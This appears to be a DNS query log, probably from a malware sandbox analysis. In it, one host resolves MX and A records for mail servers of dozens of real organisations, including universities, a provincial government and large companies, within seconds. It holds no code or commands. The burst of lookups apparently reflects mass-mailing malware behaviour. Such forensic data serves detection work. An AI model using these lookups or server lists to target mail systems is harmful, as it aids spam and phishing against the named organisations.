Aug 24, 2023 19:03:35.656209946 CEST	8.8.8.8	192.168.2.8	0x2294	No error (0)	nov.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.686547995 CEST	8.8.8.8	192.168.2.8	0x3da8	No error (0)	us-smtp-inbound-1.mimecast.com		205.139.110.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.686547995 CEST	8.8.8.8	192.168.2.8	0x3da8	No error (0)	us-smtp-inbound-1.mimecast.com		207.211.30.141	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.686547995 CEST	8.8.8.8	192.168.2.8	0x3da8	No error (0)	us-smtp-inbound-1.mimecast.com		207.211.30.221	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.686547995 CEST	8.8.8.8	192.168.2.8	0x3da8	No error (0)	us-smtp-inbound-1.mimecast.com		205.139.110.141	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.686547995 CEST	8.8.8.8	192.168.2.8	0x3da8	No error (0)	us-smtp-inbound-1.mimecast.com		207.211.30.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.686547995 CEST	8.8.8.8	192.168.2.8	0x3da8	No error (0)	us-smtp-inbound-1.mimecast.com		205.139.110.221	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.929879904 CEST	8.8.8.8	192.168.2.8	0x9660	No error (0)	iom.int			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:35.969480038 CEST	8.8.8.8	192.168.2.8	0x2546	No error (0)	iom-int.mail.protection.outlook.com		104.47.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.969480038 CEST	8.8.8.8	192.168.2.8	0x2546	No error (0)	iom-int.mail.protection.outlook.com		104.47.11.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:35.978066921 CEST	8.8.8.8	192.168.2.8	0xdad8	No error (0)	sgs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.072035074 CEST	8.8.8.8	192.168.2.8	0x1afc	No error (0)	sgs-com.mail.protection.outlook.com		52.101.73.12	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.072035074 CEST	8.8.8.8	192.168.2.8	0x1afc	No error (0)	sgs-com.mail.protection.outlook.com		52.101.73.11	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.072035074 CEST	8.8.8.8	192.168.2.8	0x1afc	No error (0)	sgs-com.mail.protection.outlook.com		52.101.73.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.072035074 CEST	8.8.8.8	192.168.2.8	0x1afc	No error (0)	sgs-com.mail.protection.outlook.com		52.101.73.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.072035074 CEST	8.8.8.8	192.168.2.8	0x1afc	No error (0)	sgs-com.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.072035074 CEST	8.8.8.8	192.168.2.8	0x1afc	No error (0)	sgs-com.mail.protection.outlook.com		52.101.73.15	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.072035074 CEST	8.8.8.8	192.168.2.8	0x1afc	No error (0)	sgs-com.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.072035074 CEST	8.8.8.8	192.168.2.8	0x1afc	No error (0)	sgs-com.mail.protection.outlook.com		52.101.68.21	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.072035074 CEST	8.8.8.8	192.168.2.8	0x1afc	No error (0)	sgs-com.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.149482965 CEST	8.8.8.8	192.168.2.8	0x732b	No error (0)	lonestarsteakhouse.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.226703882 CEST	8.8.8.8	192.168.2.8	0x6977	No error (0)	lonestarsteakhouse.com		108.178.59.182	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.266537905 CEST	8.8.8.8	192.168.2.8	0x1f0a	No error (0)	cbrands.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.266537905 CEST	8.8.8.8	192.168.2.8	0x1f0a	No error (0)	cbrands.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.372318983 CEST	8.8.8.8	192.168.2.8	0xe878	No error (0)	okanagan.bc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.408554077 CEST	8.8.8.8	192.168.2.8	0x1def	No error (0)	okanagan-bc-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.408554077 CEST	8.8.8.8	192.168.2.8	0x1def	No error (0)	okanagan-bc-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.423002005 CEST	8.8.8.8	192.168.2.8	0x35fb	No error (0)	utoronto.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.435439110 CEST	8.8.8.8	192.168.2.8	0x2d54	No error (0)	mxa-001e0e01.gslb.pphosted.com		148.163.157.43	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.454752922 CEST	8.8.8.8	192.168.2.8	0xcd24	No error (0)	contenderswrestling.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.454752922 CEST	8.8.8.8	192.168.2.8	0xcd24	No error (0)	contenderswrestling.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.454752922 CEST	8.8.8.8	192.168.2.8	0xcd24	No error (0)	contenderswrestling.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.454752922 CEST	8.8.8.8	192.168.2.8	0xcd24	No error (0)	contenderswrestling.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.454752922 CEST	8.8.8.8	192.168.2.8	0xcd24	No error (0)	contenderswrestling.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.468600035 CEST	8.8.8.8	192.168.2.8	0x85b8	No error (0)	utoronto-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.468600035 CEST	8.8.8.8	192.168.2.8	0x85b8	No error (0)	utoronto-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.529623985 CEST	8.8.8.8	192.168.2.8	0x206c	No error (0)	sky.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.707815886 CEST	8.8.8.8	192.168.2.8	0x73d7	No error (0)	cleanharbors.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.707815886 CEST	8.8.8.8	192.168.2.8	0x73d7	No error (0)	cleanharbors.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.727354050 CEST	8.8.8.8	192.168.2.8	0xf8a4	No error (0)	graybarcanada.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.773793936 CEST	8.8.8.8	192.168.2.8	0x7518	No error (0)	graybarcanada-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.773793936 CEST	8.8.8.8	192.168.2.8	0x7518	No error (0)	graybarcanada-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.798182011 CEST	8.8.8.8	192.168.2.8	0xa09	No error (0)	donaldchoi.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.841068983 CEST	8.8.8.8	192.168.2.8	0x86e6	No error (0)	donaldchoi-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.841068983 CEST	8.8.8.8	192.168.2.8	0x86e6	No error (0)	donaldchoi-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.889683008 CEST	8.8.8.8	192.168.2.8	0x6aed	No error (0)	mxa-004e4601.gslb.pphosted.com		205.220.163.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:36.980469942 CEST	8.8.8.8	192.168.2.8	0xedd7	No error (0)	bigwhite.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:36.980469942 CEST	8.8.8.8	192.168.2.8	0xedd7	No error (0)	bigwhite.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.011596918 CEST	8.8.8.8	192.168.2.8	0x14c6	No error (0)	d14900a.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.011596918 CEST	8.8.8.8	192.168.2.8	0x14c6	No error (0)	d14900a.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.011596918 CEST	8.8.8.8	192.168.2.8	0x14c6	No error (0)	d14900a.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.072146893 CEST	8.8.8.8	192.168.2.8	0xa33f	No error (0)	nokia.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.109858990 CEST	8.8.8.8	192.168.2.8	0x7443	No error (0)	nokia-com.mail.protection.outlook.com		104.47.51.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.109858990 CEST	8.8.8.8	192.168.2.8	0x7443	No error (0)	nokia-com.mail.protection.outlook.com		104.47.51.202	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.183101892 CEST	8.8.8.8	192.168.2.8	0x136a	No error (0)	infiniteit.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.183101892 CEST	8.8.8.8	192.168.2.8	0x136a	No error (0)	infiniteit.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.213330984 CEST	8.8.8.8	192.168.2.8	0x34f2	No error (0)	mx1-us2.ppe-hosted.com		67.231.154.162	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.213330984 CEST	8.8.8.8	192.168.2.8	0x34f2	No error (0)	mx1-us2.ppe-hosted.com		148.163.129.50	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.227680922 CEST	8.8.8.8	192.168.2.8	0xf629	No error (0)	asprs.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.268809080 CEST	8.8.8.8	192.168.2.8	0xf762	No error (0)	asprs-org.mail.protection.outlook.com		104.47.70.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.268809080 CEST	8.8.8.8	192.168.2.8	0xf762	No error (0)	asprs-org.mail.protection.outlook.com		104.47.58.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.342566013 CEST	8.8.8.8	192.168.2.8	0xaf4c	No error (0)	tdsb.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.342566013 CEST	8.8.8.8	192.168.2.8	0xaf4c	No error (0)	tdsb.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.400500059 CEST	8.8.8.8	192.168.2.8	0x55cf	No error (0)	mx1.hc167-46.ca.iphmx.com		216.71.132.28	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.400500059 CEST	8.8.8.8	192.168.2.8	0x55cf	No error (0)	mx1.hc167-46.ca.iphmx.com		216.71.129.20	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.491344929 CEST	8.8.8.8	192.168.2.8	0x81bd	No error (0)	krugerproducts.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.499418974 CEST	8.8.8.8	192.168.2.8	0xb8e7	No error (0)	mercer.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.499418974 CEST	8.8.8.8	192.168.2.8	0xb8e7	No error (0)	mercer.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.527928114 CEST	8.8.8.8	192.168.2.8	0xd50d	No error (0)	kruger-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.527928114 CEST	8.8.8.8	192.168.2.8	0xd50d	No error (0)	kruger-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.630459070 CEST	8.8.8.8	192.168.2.8	0x5ccb	No error (0)	mxa-001b7601.gslb.pphosted.com		205.220.166.231	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.646730900 CEST	8.8.8.8	192.168.2.8	0xeff9	No error (0)	videotron.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.667346954 CEST	8.8.8.8	192.168.2.8	0x6bf7	No error (0)	mx.videotron.ca		24.201.245.37	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:37.757200956 CEST	8.8.8.8	192.168.2.8	0xc3b2	No error (0)	stjosham.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.757200956 CEST	8.8.8.8	192.168.2.8	0xc3b2	No error (0)	stjosham.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.757200956 CEST	8.8.8.8	192.168.2.8	0xc3b2	No error (0)	stjosham.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.757200956 CEST	8.8.8.8	192.168.2.8	0xc3b2	No error (0)	stjosham.on.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:37.788103104 CEST	8.8.8.8	192.168.2.8	0x516a	No error (0)	smtp.stjoes.ca		142.238.252.73	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.107501030 CEST	8.8.8.8	192.168.2.8	0x7922	No error (0)	temptationsforher.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.117913961 CEST	8.8.8.8	192.168.2.8	0x7ce0	No error (0)	federalmogul.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.155742884 CEST	8.8.8.8	192.168.2.8	0xccac	No error (0)	federalmogul-com.mail.protection.outlook.com		104.47.55.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.155742884 CEST	8.8.8.8	192.168.2.8	0xccac	No error (0)	federalmogul-com.mail.protection.outlook.com		104.47.70.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.199954987 CEST	8.8.8.8	192.168.2.8	0xeace	No error (0)	bayouconcretellc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.199954987 CEST	8.8.8.8	192.168.2.8	0xeace	No error (0)	bayouconcretellc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.240381956 CEST	8.8.8.8	192.168.2.8	0x7b4d	No error (0)	temptationsforher.com		192.185.46.31	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.255896091 CEST	8.8.8.8	192.168.2.8	0x5645	No error (0)	jprecruitment.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.298693895 CEST	8.8.8.8	192.168.2.8	0xb62	No error (0)	jprecruitment-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.298693895 CEST	8.8.8.8	192.168.2.8	0xb62	No error (0)	jprecruitment-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.312808037 CEST	8.8.8.8	192.168.2.8	0x977f	No error (0)	rdainsurance.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.312808037 CEST	8.8.8.8	192.168.2.8	0x977f	No error (0)	rdainsurance.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.341988087 CEST	8.8.8.8	192.168.2.8	0x2ecd	No error (0)	tourmalineoil.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.341988087 CEST	8.8.8.8	192.168.2.8	0x2ecd	No error (0)	tourmalineoil.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.343632936 CEST	8.8.8.8	192.168.2.8	0xc91a	No error (0)	d95212b.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.343632936 CEST	8.8.8.8	192.168.2.8	0xc91a	No error (0)	d95212b.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.343632936 CEST	8.8.8.8	192.168.2.8	0xc91a	No error (0)	d95212b.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.357542992 CEST	8.8.8.8	192.168.2.8	0xc8d3	No error (0)	reagan.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.357542992 CEST	8.8.8.8	192.168.2.8	0xc8d3	No error (0)	reagan.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.365782976 CEST	8.8.8.8	192.168.2.8	0x37d5	No error (0)	mx2-us1.ppe-hosted.com		148.163.129.51	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.365782976 CEST	8.8.8.8	192.168.2.8	0x37d5	No error (0)	mx2-us1.ppe-hosted.com		67.231.154.163	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.385777950 CEST	8.8.8.8	192.168.2.8	0x6036	No error (0)	dunn-companies-com-1.fortimailcloud.com		154.52.5.132	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.390242100 CEST	8.8.8.8	192.168.2.8	0xbc23	No error (0)	mx1.emailsrvr.com		184.106.54.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.439496994 CEST	8.8.8.8	192.168.2.8	0xcf8a	No error (0)	michaels.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.439496994 CEST	8.8.8.8	192.168.2.8	0xcf8a	No error (0)	michaels.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.578006029 CEST	8.8.8.8	192.168.2.8	0x4e5a	No error (0)	mxb-005f4f01.gslb.pphosted.com		205.220.178.227	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:38.704488993 CEST	8.8.8.8	192.168.2.8	0xc7af	No error (0)	vancroissant.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:38.831914902 CEST	8.8.8.8	192.168.2.8	0xbb56	No error (0)	mail.blaze.ca		167.114.44.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.215966940 CEST	8.8.8.8	192.168.2.8	0xd769	No error (0)	suddenlink.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.382159948 CEST	8.8.8.8	192.168.2.8	0x89a0	No error (0)	ci.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.382159948 CEST	8.8.8.8	192.168.2.8	0x89a0	No error (0)	ci.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.428112984 CEST	8.8.8.8	192.168.2.8	0x7d15	No error (0)	mx1.ci.iphmx.com		68.232.131.254	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.428112984 CEST	8.8.8.8	192.168.2.8	0x7d15	No error (0)	mx1.ci.iphmx.com		68.232.135.171	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.428112984 CEST	8.8.8.8	192.168.2.8	0x7d15	No error (0)	mx1.ci.iphmx.com		68.232.143.175	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.428112984 CEST	8.8.8.8	192.168.2.8	0x7d15	No error (0)	mx1.ci.iphmx.com		68.232.129.222	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.460915089 CEST	8.8.8.8	192.168.2.8	0x1f73	No error (0)	rocketmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.460915089 CEST	8.8.8.8	192.168.2.8	0x1f73	No error (0)	rocketmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.460915089 CEST	8.8.8.8	192.168.2.8	0x1f73	No error (0)	rocketmail.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.482496023 CEST	8.8.8.8	192.168.2.8	0xe34f	No error (0)	mta5.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.482496023 CEST	8.8.8.8	192.168.2.8	0xe34f	No error (0)	mta5.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.482496023 CEST	8.8.8.8	192.168.2.8	0xe34f	No error (0)	mta5.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.482496023 CEST	8.8.8.8	192.168.2.8	0xe34f	No error (0)	mta5.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.482496023 CEST	8.8.8.8	192.168.2.8	0xe34f	No error (0)	mta5.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.482496023 CEST	8.8.8.8	192.168.2.8	0xe34f	No error (0)	mta5.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.482496023 CEST	8.8.8.8	192.168.2.8	0xe34f	No error (0)	mta5.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.482496023 CEST	8.8.8.8	192.168.2.8	0xe34f	No error (0)	mta5.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.885708094 CEST	8.8.8.8	192.168.2.8	0xd14f	No error (0)	ajg.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.885708094 CEST	8.8.8.8	192.168.2.8	0xd14f	No error (0)	ajg.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.916871071 CEST	8.8.8.8	192.168.2.8	0xb93e	No error (0)	cluster4a.us.messagelabs.com		52.207.128.88	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.916871071 CEST	8.8.8.8	192.168.2.8	0xb93e	No error (0)	cluster4a.us.messagelabs.com		54.243.60.31	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.929387093 CEST	8.8.8.8	192.168.2.8	0x41b8	No error (0)	gov.ab.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:39.965888977 CEST	8.8.8.8	192.168.2.8	0xffc	No error (0)	gov-ab-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:39.965888977 CEST	8.8.8.8	192.168.2.8	0xffc	No error (0)	gov-ab-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.015773058 CEST	8.8.8.8	192.168.2.8	0xa8a5	No error (0)	prominenthomes.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.015773058 CEST	8.8.8.8	192.168.2.8	0xa8a5	No error (0)	prominenthomes.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.015773058 CEST	8.8.8.8	192.168.2.8	0xa8a5	No error (0)	prominenthomes.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.015773058 CEST	8.8.8.8	192.168.2.8	0xa8a5	No error (0)	prominenthomes.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.015773058 CEST	8.8.8.8	192.168.2.8	0xa8a5	No error (0)	prominenthomes.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.207078934 CEST	8.8.8.8	192.168.2.8	0x5a59	No error (0)	linamar.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.207078934 CEST	8.8.8.8	192.168.2.8	0x5a59	No error (0)	linamar.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.311930895 CEST	8.8.8.8	192.168.2.8	0x1b1a	No error (0)	goldenwest.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.311930895 CEST	8.8.8.8	192.168.2.8	0x1b1a	No error (0)	goldenwest.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.311930895 CEST	8.8.8.8	192.168.2.8	0x1b1a	No error (0)	goldenwest.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.311930895 CEST	8.8.8.8	192.168.2.8	0x1b1a	No error (0)	goldenwest.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.342762947 CEST	8.8.8.8	192.168.2.8	0x3029	No error (0)	ca-smtp-inbound-2.mimecast.com		170.10.144.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.342762947 CEST	8.8.8.8	192.168.2.8	0x3029	No error (0)	ca-smtp-inbound-2.mimecast.com		170.10.146.242	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.489559889 CEST	8.8.8.8	192.168.2.8	0xc5e9	No error (0)	tismc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.538002014 CEST	8.8.8.8	192.168.2.8	0x300e	No error (0)	tismc-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.538002014 CEST	8.8.8.8	192.168.2.8	0x300e	No error (0)	tismc-com.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.538002014 CEST	8.8.8.8	192.168.2.8	0x300e	No error (0)	tismc-com.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.538002014 CEST	8.8.8.8	192.168.2.8	0x300e	No error (0)	tismc-com.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.538002014 CEST	8.8.8.8	192.168.2.8	0x300e	No error (0)	tismc-com.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.538002014 CEST	8.8.8.8	192.168.2.8	0x300e	No error (0)	tismc-com.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.538002014 CEST	8.8.8.8	192.168.2.8	0x300e	No error (0)	tismc-com.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.538002014 CEST	8.8.8.8	192.168.2.8	0x300e	No error (0)	tismc-com.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.581686974 CEST	8.8.8.8	192.168.2.8	0x901d	No error (0)	gm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.581686974 CEST	8.8.8.8	192.168.2.8	0x901d	No error (0)	gm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.610428095 CEST	8.8.8.8	192.168.2.8	0x21e6	No error (0)	mx1.ispservices.us		64.251.188.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.611605883 CEST	8.8.8.8	192.168.2.8	0x8ff7	No error (0)	mx1.imr.gm.com		198.208.69.107	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.611605883 CEST	8.8.8.8	192.168.2.8	0x8ff7	No error (0)	mx1.imr.gm.com		198.208.68.62	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.611605883 CEST	8.8.8.8	192.168.2.8	0x8ff7	No error (0)	mx1.imr.gm.com		198.208.69.109	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.611605883 CEST	8.8.8.8	192.168.2.8	0x8ff7	No error (0)	mx1.imr.gm.com		198.208.68.70	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.611605883 CEST	8.8.8.8	192.168.2.8	0x8ff7	No error (0)	mx1.imr.gm.com		198.208.69.108	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:40.685657978 CEST	8.8.8.8	192.168.2.8	0x20bf	Server failure (2)	successtracs.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.862870932 CEST	8.8.8.8	192.168.2.8	0xcfee	No error (0)	aecom.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.862870932 CEST	8.8.8.8	192.168.2.8	0xcfee	No error (0)	aecom.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:40.985384941 CEST	8.8.8.8	192.168.2.8	0xfeca	No error (0)	eastlink.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:41.001390934 CEST	8.8.8.8	192.168.2.8	0x1aad	No error (0)	mxa-00219703.gslb.pphosted.com		148.163.145.87	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:41.043299913 CEST	8.8.8.8	192.168.2.8	0x335e	No error (0)	smtpin.eastlink.ca		24.222.0.18	A (IP address)	IN (0x0001)	false
